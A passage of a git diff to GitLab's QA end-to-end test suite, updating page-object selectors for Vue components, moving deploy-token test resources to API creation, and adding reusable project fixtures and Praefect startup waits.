- fill_in 'cluster_platform_kubernetes_attributes_api_url', with: QA::Runtime::Env.cluster_api_url || api_url
+ fill_in 'cluster_platform_kubernetes_attributes_api_url', with: api_url
end
def set_ca_certificate(ca_certificate)
diff --git a/qa/qa/page/project/issue/index.rb b/qa/qa/page/project/issue/index.rb
index fc46f7a2936..0d495fc661e 100644
--- a/qa/qa/page/project/issue/index.rb
+++ b/qa/qa/page/project/issue/index.rb
@@ -5,12 +5,12 @@ module QA
module Project
module Issue
class Index < Page::Base
- view 'app/assets/javascripts/issues_list/components/issuable.vue' do
- element :issue_container
- element :issue_link
+ view 'app/assets/javascripts/vue_shared/issuable/list/components/issuable_list_root.vue' do
+ element :issuable_container
+ element :issuable_search_container
end
- view 'app/assets/javascripts/vue_shared/components/issue/issue_assignees.vue' do
+ view 'app/assets/javascripts/issuable/components/issue_assignees.vue' do
element :assignee_link
element :avatar_counter_content
end
@@ -25,8 +25,8 @@ module QA
element :import_issues_dropdown
end
- view 'app/views/shared/issuable/_nav.html.haml' do
- element :closed_issues_link
+ view 'app/assets/javascripts/vue_shared/issuable/list/components/issuable_tabs.vue' do
+ element :closed_issuables_tab, ':data-qa-selector="`${tab.name}_issuables_tab`"' # rubocop:disable QA/ElementWithPattern
end
def avatar_counter
@@ -37,8 +37,8 @@ module QA
click_link(title)
end
- def click_closed_issues_link
- click_element :closed_issues_link
+ def click_closed_issues_tab
+ click_element(:closed_issuables_tab)
end
def click_export_as_csv_button
@@ -73,11 +73,17 @@ module QA
end
def has_issue?(issue)
- has_element? :issue_container, issue_title: issue.title
+ has_element? :issuable_container, issuable_title: issue.title
end
def has_no_issue?(issue)
- has_no_element? :issue_container, issue_title: issue.title
+ has_no_element? :issuable_container, issuable_title: issue.title
+ end
+
+ def wait_for_vue_issues_list_ff
+ Support::Retrier.retry_until(max_duration: 60, reload_page: page, retry_on_exception: true, sleep_interval: 5) do
+ find_element(:closed_issuables_tab)
+ end
end
end
end
diff --git a/qa/qa/page/project/issue/show.rb b/qa/qa/page/project/issue/show.rb
index 3b033830420..b37210f4d3f 100644
--- a/qa/qa/page/project/issue/show.rb
+++ b/qa/qa/page/project/issue/show.rb
@@ -11,11 +11,11 @@ module QA
include Page::Component::Issuable::Sidebar
prepend Mobile::Page::Project::Issue::Show if Runtime::Env.mobile_layout?
- view 'app/assets/javascripts/vue_shared/components/issue/related_issuable_item.vue' do
+ view 'app/assets/javascripts/issuable/components/related_issuable_item.vue' do
element :remove_related_issue_button
end
- view 'app/assets/javascripts/issue_show/components/header_actions.vue' do
+ view 'app/assets/javascripts/issues/show/components/header_actions.vue' do
element :close_issue_button
element :reopen_issue_button
end
diff --git a/qa/qa/page/project/packages/index.rb b/qa/qa/page/project/packages/index.rb
index 7794677b9b5..86a86c05c12 100644
--- a/qa/qa/page/project/packages/index.rb
+++ b/qa/qa/page/project/packages/index.rb
@@ -5,7 +5,7 @@ module QA
module Project
module Packages
class Index < QA::Page::Base
- view 'app/assets/javascripts/packages/shared/components/package_list_row.vue' do
+ view 'app/assets/javascripts/packages_and_registries/package_registry/components/list/package_list_row.vue' do
element :package_row
element :package_link
end
@@ -15,7 +15,7 @@ module QA
end
def has_package?(name)
- has_element?(:package_link, text: name)
+ has_element?(:package_link, text: name, wait: 20)
end
def has_no_package?(name)
diff --git a/qa/qa/page/project/pipeline/show.rb b/qa/qa/page/project/pipeline/show.rb
index d45eeac46f6..83a49ae6361 100644
--- a/qa/qa/page/project/pipeline/show.rb
+++ b/qa/qa/page/project/pipeline/show.rb
@@ -77,7 +77,10 @@ module QA
end
def click_job(job_name)
- click_element(:job_link, Project::Job::Show, text: job_name)
+ # Retry due to transient bug https://gitlab.com/gitlab-org/gitlab/-/issues/347126
+ QA::Support::Retrier.retry_on_exception do
+ click_element(:job_link, Project::Job::Show, text: job_name)
+ end
end
def child_pipelines
diff --git a/qa/qa/page/project/pipeline_editor/show.rb b/qa/qa/page/project/pipeline_editor/show.rb
index 38c87c8daa1..e430884ea08 100644
--- a/qa/qa/page/project/pipeline_editor/show.rb
+++ b/qa/qa/page/project/pipeline_editor/show.rb
@@ -6,37 +6,59 @@ module QA
module PipelineEditor
class Show < QA::Page::Base
view 'app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue' do
- element :branch_selector_button
- element :menu_branch_button
+ element :branch_selector_button, require: true
+ element :branch_menu_item_button
+ element :branch_menu_container
end
view 'app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue' do
- element :target_branch_field
+ element :target_branch_field, require: true
end
- def has_branch_selector_button?
- has_element? :branch_selector_button
+ view 'app/assets/javascripts/pipeline_editor/components/drawer/pipeline_editor_drawer.vue' do
+ element :toggle_sidebar_collapse_button
+ element :drawer_content
end
- def click_branch_selector_button
- wait_until(reload: false) do
- has_element?(:branch_selector_button)
- end
- click_element(:branch_selector_button, skip_finished_loading_check: true)
+ view 'app/assets/javascripts/vue_shared/components/source_editor.vue' do
+ element :source_editor_container, require: true
end
- def select_branch_from_dropdown(branch_to_switch_to)
- wait_until(reload: false) do
- has_element?(:menu_branch_button)
- end
- click_element(:menu_branch_button, text: branch_to_switch_to, skip_finished_loading_check: true)
+ def initialize
+ super
+
+ wait_for_requests
+ close_toggle_sidebar
+ end
+
+ def open_branch_selector_dropdown
+ click_element(:branch_selector_button)
+ end
+
+ def select_branch_from_dropdown(branch_name)
+ wait_for_animated_element(:branch_menu_container)
+ click_element(:branch_menu_item_button, text: branch_name)
+
+ wait_for_requests
end
def target_branch_name
- wait_until(reload: false) do
- has_element?(:target_branch_field)
- end
- find_element(:target_branch_field, skip_finished_loading_check: true).value
+ find_element(:target_branch_field).value
+ end
+
+ def editing_content
+ find_element(:source_editor_container).text
+ end
+
+ private
+
+ # If the page thinks user has never opened pipeline editor before
+ # It will expand pipeline editor sidebar by default
+ # Collapse the sidebar if it is expanded
+ def close_toggle_sidebar
+ return unless has_element?(:drawer_content)
+
+ click_element(:toggle_sidebar_collapse_button)
end
end
end
diff --git a/qa/qa/page/project/settings/advanced.rb b/qa/qa/page/project/settings/advanced.rb
index 0ba856e8a6e..da1f16f4cfc 100644
--- a/qa/qa/page/project/settings/advanced.rb
+++ b/qa/qa/page/project/settings/advanced.rb
@@ -5,7 +5,6 @@ module QA
module Project
module Settings
class Advanced < Page::Base
- include Component::Select2
include Component::ConfirmModal
view 'app/views/projects/edit.html.haml' do
@@ -13,8 +12,10 @@ module QA
element :change_path_button
end
- view 'app/views/projects/_transfer.html.haml' do
- element :transfer_button
+ view "app/assets/javascripts/vue_shared/components/namespace_select/namespace_select.vue" do
+ element :namespaces_list
+ element :namespaces_list_groups
+ element :namespaces_list_item
end
view 'app/views/projects/settings/_archive.html.haml' do
@@ -42,16 +43,22 @@ module QA
click_element :change_path_button
end
+ def select_namespace(item)
+ click_element :namespaces_list
+
+ within_element(:namespaces_list) do
+ find_element(:namespaces_list_item, text: item).click
+ end
+ end
+
def transfer_project!(project_name, namespace)
QA::Runtime::Logger.info "Transferring project: #{project_name} to namespace: #{namespace}"
click_element_coordinates(:archive_project_content)
- expand_select_list
-
# Workaround for a failure to search when there are no spaces around the /
# https://gitlab.com/gitlab-org/gitlab/-/issues/218965
- search_and_select(namespace.gsub(%r{([^\s])/([^\s])}, '\1 / \2'))
+ select_namespace(namespace.gsub(%r{([^\s])/([^\s])}, '\1 / \2'))
click_element(:transfer_button)
fill_confirmation_text(project_name)
diff --git a/qa/qa/page/project/settings/services/jira.rb b/qa/qa/page/project/settings/services/jira.rb
index 0a56aaa758e..827508e488c 100644
--- a/qa/qa/page/project/settings/services/jira.rb
+++ b/qa/qa/page/project/settings/services/jira.rb
@@ -23,6 +23,11 @@ module QA
element :save_changes_button
end
+ view 'app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue' do
+ element :service_jira_issues_enabled_checkbox
+ element :service_jira_project_key_field
+ end
+
def setup_service_with(url:)
QA::Runtime::Logger.info "Setting up JIRA"
@@ -34,12 +39,22 @@ module QA
use_custom_transitions
set_transition_ids('11,21,31,41')
+ yield self if block_given?
+
click_save_changes_button
wait_until(reload: false) do
has_element?(:save_changes_button, wait: 1) ? !find_element(:save_changes_button).disabled? : true
end
end
+ def enable_jira_issues
+ check_element(:service_jira_issues_enabled_checkbox, true)
+ end
+
+ def set_jira_project_key(key)
+ fill_element(:service_jira_project_key_field, key)
+ end
+
private
def set_jira_server_url(url)
diff --git a/qa/qa/page/project/show.rb b/qa/qa/page/project/show.rb
index 65a1f726a8a..8074b6f833b 100644
--- a/qa/qa/page/project/show.rb
+++ b/qa/qa/page/project/show.rb
@@ -45,10 +45,6 @@ module QA
element :tree_holder, '.tree-holder' # rubocop:disable QA/ElementWithPattern
end
- view 'app/views/projects/buttons/_dropdown.html.haml' do
- element :create_new_dropdown
- end
-
view 'app/views/projects/buttons/_fork.html.haml' do
element :fork_label, "%span= s_('ProjectOverview|Fork')" # rubocop:disable QA/ElementWithPattern
element :fork_link, "link_to new_project_fork_path(@project)" # rubocop:disable QA/ElementWithPattern
diff --git a/qa/qa/page/project/snippet/index.rb b/qa/qa/page/project/snippet/index.rb
index fc677f96769..704698dc9d8 100644
--- a/qa/qa/page/project/snippet/index.rb
+++ b/qa/qa/page/project/snippet/index.rb
@@ -6,6 +6,7 @@ module QA
module Snippet
class Index < Page::Base
include Page::Component::Snippet
+ include Page::Component::BlobContent
view 'app/views/shared/snippets/_snippet.html.haml' do
element :snippet_link
diff --git a/qa/qa/page/project/snippet/show.rb b/qa/qa/page/project/snippet/show.rb
index f66fa2cbe51..89723baf424 100644
--- a/qa/qa/page/project/snippet/show.rb
+++ b/qa/qa/page/project/snippet/show.rb
@@ -6,6 +6,7 @@ module QA
module Snippet
class Show < Page::Base
include Page::Component::Snippet
+ include Page::Component::BlobContent
view 'app/views/projects/notes/_actions.html.haml' do
element :edit_comment_button
diff --git a/qa/qa/page/project/sub_menus/issues.rb b/qa/qa/page/project/sub_menus/issues.rb
index 1df93d1118b..48cdf9791f8 100644
--- a/qa/qa/page/project/sub_menus/issues.rb
+++ b/qa/qa/page/project/sub_menus/issues.rb
@@ -51,6 +51,14 @@ module QA
end
end
+ def go_to_jira_issues
+ hover_issues do
+ within_submenu do
+ click_element(:sidebar_menu_item_link, menu_item: 'Jira issues')
+ end
+ end
+ end
+
private
def hover_issues
diff --git a/qa/qa/resource/api_fabricator.rb b/qa/qa/resource/api_fabricator.rb
index b94fa543b48..6315ef0bd22 100644
--- a/qa/qa/resource/api_fabricator.rb
+++ b/qa/qa/resource/api_fabricator.rb
@@ -7,14 +7,7 @@ module QA
module Resource
module ApiFabricator
include Capybara::DSL
-
- ResourceFabricationFailedError = Class.new(RuntimeError)
- ResourceNotDeletedError = Class.new(RuntimeError)
- ResourceNotFoundError = Class.new(RuntimeError)
- ResourceQueryError = Class.new(RuntimeError)
- ResourceUpdateFailedError = Class.new(RuntimeError)
- ResourceURLMissingError = Class.new(RuntimeError)
- InternalServerError = Class.new(RuntimeError)
+ include Errors
attr_reader :api_resource, :api_response
attr_writer :api_client
diff --git a/qa/qa/resource/base.rb b/qa/qa/resource/base.rb
index 26a2a668cc1..640d2a8f06e 100644
--- a/qa/qa/resource/base.rb
+++ b/qa/qa/resource/base.rb
@@ -80,11 +80,25 @@ module QA
Support::FabricationTracker.start_fabrication
result = yield.tap do
fabrication_time = Time.now - start
+ resource_identifier = begin
+ if resource.respond_to?(:username) && resource.username
+ "with username '#{resource.username}'"
+ elsif resource.respond_to?(:full_path) && resource.full_path
+ "with full_path '#{resource.full_path}'"
+ elsif resource.respond_to?(:name) && resource.name
+ "with name '#{resource.name}'"
+ elsif resource.respond_to?(:id) && resource.id
+ "with id '#{resource.id}'"
+ end
+ rescue QA::Resource::Base::NoValueError
+ nil
+ end
Support::FabricationTracker.save_fabrication(:"#{method}_fabrication", fabrication_time)
Runtime::Logger.debug do
msg = ["==#{'=' * parents.size}>"]
msg << "Built a #{name}"
+ msg << resource_identifier if resource_identifier
msg << "as a dependency of #{parents.last}" if parents.any?
msg << "via #{method}"
msg << "in #{fabrication_time} seconds"
diff --git a/qa/qa/resource/deploy_token.rb b/qa/qa/resource/deploy_token.rb
deleted file mode 100644
index f5d3b87fc2b..00000000000
--- a/qa/qa/resource/deploy_token.rb
+++ /dev/null
@@ -1,49 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Resource
- class DeployToken < Base
- attr_accessor :name, :expires_at
- attr_writer :scopes
-
- attribute :username do
- Page::Project::Settings::Repository.perform do |repository_page|
- repository_page.expand_deploy_tokens do |token|
- token.token_username
- end
- end
- end
-
- attribute :password do
- Page::Project::Settings::Repository.perform do |repository_page|
- repository_page.expand_deploy_tokens do |token|
- token.token_password
- end
- end
- end
-
- attribute :project do
- Project.fabricate! do |resource|
- resource.name = 'project-to-deploy'
- resource.description = 'project for adding deploy token test'
- end
- end
-
- def fabricate!
- project.visit!
-
- Page::Project::Menu.perform(&:go_to_repository_settings)
-
- Page::Project::Settings::Repository.perform do |setting|
- setting.expand_deploy_tokens do |page|
- page.fill_token_name(name)
- page.fill_token_expires_at(expires_at)
- page.fill_scopes(@scopes)
-
- page.add_token
- end
- end
- end
- end
- end
-end
diff --git a/qa/qa/resource/errors.rb b/qa/qa/resource/errors.rb
new file mode 100644
index 00000000000..a6933a6c9a7
--- /dev/null
+++ b/qa/qa/resource/errors.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module QA
+ module Resource
+ module Errors
+ ResourceFabricationFailedError = Class.new(RuntimeError)
+ ResourceNotDeletedError = Class.new(RuntimeError)
+ ResourceNotFoundError = Class.new(RuntimeError)
+ ResourceQueryError = Class.new(RuntimeError)
+ ResourceUpdateFailedError = Class.new(RuntimeError)
+ ResourceURLMissingError = Class.new(RuntimeError)
+ InternalServerError = Class.new(RuntimeError)
+ end
+ end
+end
diff --git a/qa/qa/resource/events/base.rb b/qa/qa/resource/events/base.rb
index d96f5a30f05..f01fa871726 100644
--- a/qa/qa/resource/events/base.rb
+++ b/qa/qa/resource/events/base.rb
@@ -4,7 +4,7 @@ module QA
module Resource
module Events
MAX_WAIT = 60
- RAISE_ON_FAILURE = true
+ RAISE_ON_FAILURE = false
EventNotFoundError = Class.new(RuntimeError)
diff --git a/qa/qa/resource/events/project.rb b/qa/qa/resource/events/project.rb
index 2560e6b9e3b..410edd417c1 100644
--- a/qa/qa/resource/events/project.rb
+++ b/qa/qa/resource/events/project.rb
@@ -25,6 +25,10 @@ module QA
wait_for_event do
events(action: 'pushed').any? { |event| event.dig(:push_data, :commit_title) == commit_message }
end
+ rescue EventNotFoundError
+ QA::Runtime::Logger.debug("Push events: #{events(action: 'pushed')}")
+
+ raise
end
def wait_for_push_new_branch(branch_name = self.default_branch)
diff --git a/qa/qa/resource/file.rb b/qa/qa/resource/file.rb
index 9b05c0cb456..253b63e4260 100644
--- a/qa/qa/resource/file.rb
+++ b/qa/qa/resource/file.rb
@@ -7,7 +7,8 @@ module QA
:author_name,
:content,
:commit_message,
- :name
+ :name,
+ :start_branch
attr_writer :branch
attribute :project do
@@ -27,6 +28,7 @@ module QA
@name = 'QA Test - File name'
@content = 'QA Test - File content'
@commit_message = 'QA Test - Commit message'
+ @start_branch = project.default_branch
end
def branch
@@ -57,6 +59,7 @@ module QA
def api_post_body
{
branch: branch,
+ start_branch: start_branch,
author_email: @author_email || Runtime::User.default_email,
author_name: @author_name || Runtime::User.username,
content: content,
diff --git a/qa/qa/resource/group.rb b/qa/qa/resource/group.rb
index ce85273c3b2..a325d96ccc2 100644
--- a/qa/qa/resource/group.rb
+++ b/qa/qa/resource/group.rb
@@ -68,7 +68,8 @@ module QA
path: path,
name: path,
visibility: 'public',
- require_two_factor_authentication: @require_two_factor_authentication
+ require_two_factor_authentication: @require_two_factor_authentication,
+ avatar: avatar
}
end
diff --git a/qa/qa/resource/group_base.rb b/qa/qa/resource/group_base.rb
index 932d39675a3..19bb5ea00d7 100644
--- a/qa/qa/resource/group_base.rb
+++ b/qa/qa/resource/group_base.rb
@@ -7,7 +7,7 @@ module QA
class GroupBase < Base
include Members
- attr_accessor :path
+ attr_accessor :path, :avatar
attributes :id,
:runners_token,
diff --git a/qa/qa/resource/group_deploy_token.rb b/qa/qa/resource/group_deploy_token.rb
index 410a7e6253f..c1d6be6547a 100644
--- a/qa/qa/resource/group_deploy_token.rb
+++ b/qa/qa/resource/group_deploy_token.rb
@@ -4,18 +4,11 @@ module QA
module Resource
class GroupDeployToken < Base
attr_accessor :name, :expires_at
+ attr_writer :scopes
- attribute :username do
- Page::Group::Settings::Repository.perform do |repository_page|
- repository_page.expand_deploy_tokens(&:token_username)
- end
- end
-
- attribute :password do
- Page::Group::Settings::Repository.perform do |repository_page|
- repository_page.expand_deploy_tokens(&:token_password)
- end
- end
+ attribute :id
+ attribute :token
+ attribute :username
attribute :group do
Group.fabricate! do |resource|
@@ -24,11 +17,33 @@ module QA
end
end
- attribute :project do
- Project.fabricate! do |resource|
- resource.name = 'project-to-deploy'
- resource.description = 'project for adding deploy token test'
- end
+ def fabricate_via_api!
+ super
+ end
+
+ def api_get_path
+ "/groups/#{group.id}/deploy_tokens"
+ end
+
+ def api_post_path
+ api_get_path
+ end
+
+ def api_post_body
+ {
+ name: @name,
+ scopes: @scopes
+ }
+ end
+
+ def api_delete_path
+ "/groups/#{group.id}/deploy_tokens/#{id}"
+ end
+
+ def resource_web_url(resource)
+ super
+ rescue ResourceURLMissingError
+ # this particular resource does not expose a web_url property
end
def fabricate!
diff --git a/qa/qa/resource/merge_request.rb b/qa/qa/resource/merge_request.rb
index 1fea6feb910..ba63e0823f0 100644
--- a/qa/qa/resource/merge_request.rb
+++ b/qa/qa/resource/merge_request.rb
@@ -168,6 +168,41 @@ module QA
)
end
+ # Object comparison
+ #
+ # @param [QA::Resource::MergeRequest] other
+ # @return [Boolean]
+ def ==(other)
+ other.is_a?(MergeRequest) && comparable_mr == other.comparable_mr
+ end
+
+ # Override inspect for a better rspec failure diff output
+ #
+ # @return [String]
+ def inspect
+ JSON.pretty_generate(comparable_mr)
+ end
+
+ protected
+
+ # Return subset of fields for comparing merge requests
+ #
+ # @return [Hash]
+ def comparable_mr
+ reload! if api_response.nil?
+
+ api_resource.except(
+ :id,
+ :web_url,
+ :project_id,
+ :source_project_id,
+ :target_project_id,
+ # these can differ depending on user fetching mr
+ :subscribed,
+ :first_contribution
+ ).merge({ references: api_resource[:references].except(:full) })
+ end
+
private
def transform_api_resource(api_resource)
diff --git a/qa/qa/resource/project.rb b/qa/qa/resource/project.rb
index 864f3a14c3d..d3c1e91f358 100644
--- a/qa/qa/resource/project.rb
+++ b/qa/qa/resource/project.rb
@@ -217,10 +217,6 @@ module QA
"#{api_get_path}/wikis"
end
- def api_push_rules_path
- "#{api_get_path}/push_rule"
- end
-
def api_post_body
post_body = {
name: name,
@@ -242,8 +238,7 @@ module QA
end
def change_repository_storage(new_storage)
- put_body = { repository_storage: new_storage }
- response = put(request_url(api_put_path), put_body)
+ response = put(request_url(api_put_path), repository_storage: new_storage)
unless response.code == HTTP_STATUS_OK
raise(
@@ -322,11 +317,19 @@ module QA
auto_paginated_response(request_url(api_repository_branches_path, per_page: '100'), attempts: attempts)
end
+ def create_repository_branch(branch_name, ref = default_branch)
+ api_post_to(api_repository_branches_path, branch: branch_name, ref: ref)
+ end
+
def repository_tags
response = get(request_url(api_repository_tags_path))
parse_body(response)
end
+ def create_repository_tag(tag_name, ref = default_branch)
+ api_post_to(api_repository_tags_path, tag_name: tag_name, ref: ref)
+ end
+
def repository_tree
response = get(request_url(api_repository_tree_path))
parse_body(response)
@@ -365,13 +368,8 @@ module QA
parse_body(response)
end
- def push_rules
- response = get(request_url(api_push_rules_path))
- parse_body(response)
- end
-
- def add_push_rules(rules)
- api_post_to(api_push_rules_path, rules)
+ def create_wiki_page(title:, content:)
+ api_post_to(api_wikis_path, title: title, content: content)
end
# Object comparison
@@ -434,3 +432,5 @@ module QA
end
end
end
+
+QA::Resource::Project.prepend_mod_with('Resource::Project', namespace: QA)
diff --git a/qa/qa/resource/project_deploy_token.rb b/qa/qa/resource/project_deploy_token.rb
new file mode 100644
index 00000000000..b31a7c25157
--- /dev/null
+++ b/qa/qa/resource/project_deploy_token.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+module QA
+ module Resource
+ class ProjectDeployToken < Base
+ attr_accessor :name, :expires_at
+ attr_writer :scopes
+
+ attribute :id
+ attribute :token
+ attribute :username
+
+ attribute :project do
+ Project.fabricate! do |resource|
+ resource.name = 'project-to-deploy'
+ resource.description = 'project for adding deploy token test'
+ end
+ end
+
+ def fabricate_via_api!
+ super
+ end
+
+ def api_get_path
+ "/projects/#{project.id}/deploy_tokens"
+ end
+
+ def api_post_path
+ api_get_path
+ end
+
+ def api_post_body
+ {
+ name: @name,
+ scopes: @scopes
+ }
+ end
+
+ def api_delete_path
+ "/projects/#{project.id}/deploy_tokens/#{id}"
+ end
+
+ def resource_web_url(resource)
+ super
+ rescue ResourceURLMissingError
+ # this particular resource does not expose a web_url property
+ end
+
+ def fabricate!
+ project.visit!
+
+ Page::Project::Menu.perform(&:go_to_repository_settings)
+
+ Page::Project::Settings::Repository.perform do |setting|
+ setting.expand_deploy_tokens do |page|
+ page.fill_token_name(name)
+ page.fill_token_expires_at(expires_at)
+ page.fill_scopes(@scopes)
+
+ page.add_token
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/resource/project_milestone.rb b/qa/qa/resource/project_milestone.rb
index c9218e03e35..360e80e014c 100644
--- a/qa/qa/resource/project_milestone.rb
+++ b/qa/qa/resource/project_milestone.rb
@@ -20,6 +20,10 @@ module QA
@description = "My awesome project milestone."
end
+ def api_delete_path
+ "/projects/#{project.id}/milestones/#{id}"
+ end
+
def api_get_path
"/projects/#{project.id}/milestones/#{id}"
end
diff --git a/qa/qa/resource/reusable.rb b/qa/qa/resource/reusable.rb
new file mode 100644
index 00000000000..24b0a1f6bce
--- /dev/null
+++ b/qa/qa/resource/reusable.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+module QA
+ module Resource
+ #
+ # This module includes methods that allow resource classes to be reused safely. It should be prepended to a new
+ # reusable version of an existing resource class. See Resource::Project and ReusableResource::Project for an example
+ #
+ module Reusable
+ attr_accessor :reuse,
+ :reuse_as
+
+ ResourceReuseError = Class.new(RuntimeError)
+
+ def self.prepended(base)
+ base.extend(ClassMethods)
+ end
+
+ # Gets an existing resource if it exists and the parameters of the new specification of the resource are valid.
+ # Creates a new instance of the resource if it does not exist.
+ #
+ # @return [String] The URL of the resource.
+ def fabricate_via_api!
+ validate_reuse_preconditions
+
+ resource_web_url(api_get)
+ rescue Errors::ResourceNotFoundError
+ super
+ ensure
+ self.class.resources[reuse_as] = self
+ end
+
+ # Including classes must confirm that the resource can be reused as defined. For example, a project can't be
+ # fabricated with a unique name.
+ #
+ # @return [nil]
+ def validate_reuse_preconditions
+ return super if defined?(super)
+
+ raise NotImplementedError
+ end
+
+ module ClassMethods
+ # Removes all created resources of this type.
+ #
+ # @return [Hash<Symbol, QA::Resource>] the resources that were to be removed.
+ def remove_all_via_api!
+ resources.each do |reuse_as, resource|
+ QA::Runtime::Logger.debug("#{self.name} - removing #{reuse_as}")
+ resource.method(:remove_via_api!).super_method.call
+ end
+ end
+
+ # The resources created by this resource class.
+ #
+ # @return [Hash<Symbol, QA::Resource>] the resources created by this resource class.
+ def resources
+ @resources ||= {}
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/resource/reusable_project.rb b/qa/qa/resource/reusable_project.rb
new file mode 100644
index 00000000000..6b33bb9d65d
--- /dev/null
+++ b/qa/qa/resource/reusable_project.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+module QA
+ module Resource
+ class ReusableProject < Project
+ prepend Reusable
+
+ def initialize
+ super
+
+ @add_name_uuid = false
+ @name = "reusable_project"
+ @reuse_as = :default_project
+ @initialize_with_readme = true
+ end
+
+ # Confirms that the project can be reused
+ #
+ # @return [nil] returns nil unless an error is raised
+ def validate_reuse_preconditions
+ unless reused_name_unique?
+ raise ResourceReuseError,
+ "Reusable projects must have the same name. The project reused as #{reuse_as} has the name '#{name}' but it should be '#{self.class.resources[reuse_as].name}'"
+ end
+ end
+
+ # Checks if the project is being reused with the same name.
+ #
+ # @return [Boolean] true if the project's name is different from another project with the same reuse symbol (reuse_as)
+ def reused_name_unique?
+ return true unless self.class.resources.key?(reuse_as)
+
+ self.class.resources[reuse_as].name == name
+ end
+
+ # Overrides QA::Resource::Project#remove_via_api! to log a debug message stating that removal will happen after
+ # the suite completes rather than now.
+ #
+ # @return [nil]
+ def remove_via_api!
+ QA::Runtime::Logger.debug("#{self.class.name} - deferring removal until after suite")
+ end
+ end
+ end
+end
diff --git a/qa/qa/resource/runner.rb b/qa/qa/resource/runner.rb
index 3c448816100..e69702a8ffa 100644
--- a/qa/qa/resource/runner.rb
+++ b/qa/qa/resource/runner.rb
@@ -19,7 +19,7 @@ module QA
end
def image
- @image || 'gitlab/gitlab-runner:alpine'
+ @image || 'registry.gitlab.com/gitlab-org/gitlab-runner:alpine'
end
def executor
diff --git a/qa/qa/resource/sandbox.rb b/qa/qa/resource/sandbox.rb
index 385e0fa4f7e..555bfb1abc9 100644
--- a/qa/qa/resource/sandbox.rb
+++ b/qa/qa/resource/sandbox.rb
@@ -69,7 +69,8 @@ module QA
{
path: path,
name: path,
- visibility: 'public'
+ visibility: 'public',
+ avatar: avatar
}
end
diff --git a/qa/qa/runtime/env.rb b/qa/qa/runtime/env.rb
index 163710a1510..b73199f1fdd 100644
--- a/qa/qa/runtime/env.rb
+++ b/qa/qa/runtime/env.rb
@@ -93,10 +93,6 @@ module QA
ENV['CI'] || ENV['CI_SERVER']
end
- def cluster_api_url
- ENV['CLUSTER_API_URL']
- end
-
def qa_cookies
ENV['QA_COOKIES'] && ENV['QA_COOKIES'].split(';')
end
@@ -285,6 +281,8 @@ module QA
end
def knapsack?
+ return false unless ENV['CI_NODE_TOTAL'].to_i > 1
+
!!(ENV['KNAPSACK_GENERATE_REPORT'] || ENV['KNAPSACK_REPORT_PATH'] || ENV['KNAPSACK_TEST_FILE_PATTERN'])
end
diff --git a/qa/qa/scenario/test/integration/kubernetes.rb b/qa/qa/scenario/test/integration/kubernetes.rb
deleted file mode 100644
index d82d0c09a90..00000000000
--- a/qa/qa/scenario/test/integration/kubernetes.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Scenario
- module Test
- module Integration
- class Kubernetes < Test::Instance::All
- tags :kubernetes
- end
- end
- end
- end
-end
diff --git a/qa/qa/scenario/test/integration/service_ping_disabled.rb b/qa/qa/scenario/test/integration/service_ping_disabled.rb
new file mode 100644
index 00000000000..7b646ce17ae
--- /dev/null
+++ b/qa/qa/scenario/test/integration/service_ping_disabled.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module QA
+ module Scenario
+ module Test
+ module Integration
+ ##
+ # Run test suite against any GitLab instance where Service Ping is disabled from gitlab.yml
+ #
+ class ServicePingDisabled < Test::Instance::All
+ tags :service_ping_disabled
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/scenario/test/integration/ssh_tunnel.rb b/qa/qa/scenario/test/integration/ssh_tunnel.rb
deleted file mode 100644
index 926dce1807e..00000000000
--- a/qa/qa/scenario/test/integration/ssh_tunnel.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Scenario
- module Test
- module Integration
- class SSHTunnel < Test::Instance::All
- tags :ssh_tunnel
- end
- end
- end
- end
-end
diff --git a/qa/qa/service/kubernetes_cluster.rb b/qa/qa/service/kubernetes_cluster.rb
index ec53b9d8163..dafce4acc33 100644
--- a/qa/qa/service/kubernetes_cluster.rb
+++ b/qa/qa/service/kubernetes_cluster.rb
@@ -77,7 +77,7 @@ module QA
install_ingress
# need to wait since the ingress-nginx service has an initial delay set of 10 seconds
- sleep 10
+ sleep 12
ingress_ip = `kubectl get svc --all-namespaces --no-headers=true -l app.kubernetes.io/name=ingress-nginx -o custom-columns=:'status.loadBalancer.ingress[0].ip' | grep -v 'none'`
QA::Runtime::Logger.debug "Has ingress address set to: #{ingress_ip}"
ingress_ip
diff --git a/qa/qa/service/praefect_manager.rb b/qa/qa/service/praefect_manager.rb
index dbb49f18881..dd4cce5d0b0 100644
--- a/qa/qa/service/praefect_manager.rb
+++ b/qa/qa/service/praefect_manager.rb
@@ -58,6 +58,7 @@ module QA
def start_praefect
start_node(@praefect)
+ wait_for_praefect
end
def stop_praefect
@@ -176,6 +177,7 @@ module QA
start_node(@primary_node)
start_node(@secondary_node)
start_node(@tertiary_node)
+ start_node(@praefect)
wait_for_health_check_all_nodes
wait_for_reliable_connection
@@ -198,13 +200,13 @@ module QA
retry_on_exception: true
)
- # Praefect can fail to start if unable to dial one of the gitaly nodes
- # See https://gitlab.com/gitlab-org/gitaly/-/issues/2847
- # We tail the logs to allow us to confirm if that is the problem if tests fail
+ QA::Runtime::Logger.info('Wait until Praefect starts and is listening')
+ wait_until_shell_command_matches(
+ "docker exec #{@praefect} bash -c 'cat /var/log/gitlab/praefect/current'",
+ /listening at tcp address/
+ )
- shell "docker exec #{@praefect} bash -c 'tail /var/log/gitlab/praefect/current'" do |line|
- QA::Runtime::Logger.debug(line.chomp)
- end
+ wait_for_gitaly_check
end
def wait_for_sql_ping
@@ -244,7 +246,7 @@ module QA
def wait_for_storage_nodes
wait_for_no_praefect_storage_error
- Support::Waiter.repeat_until(max_attempts: 3) do
+ Support::Waiter.repeat_until(max_attempts: 3, max_duration: 120, sleep_interval: 1) do
nodes_confirmed = {
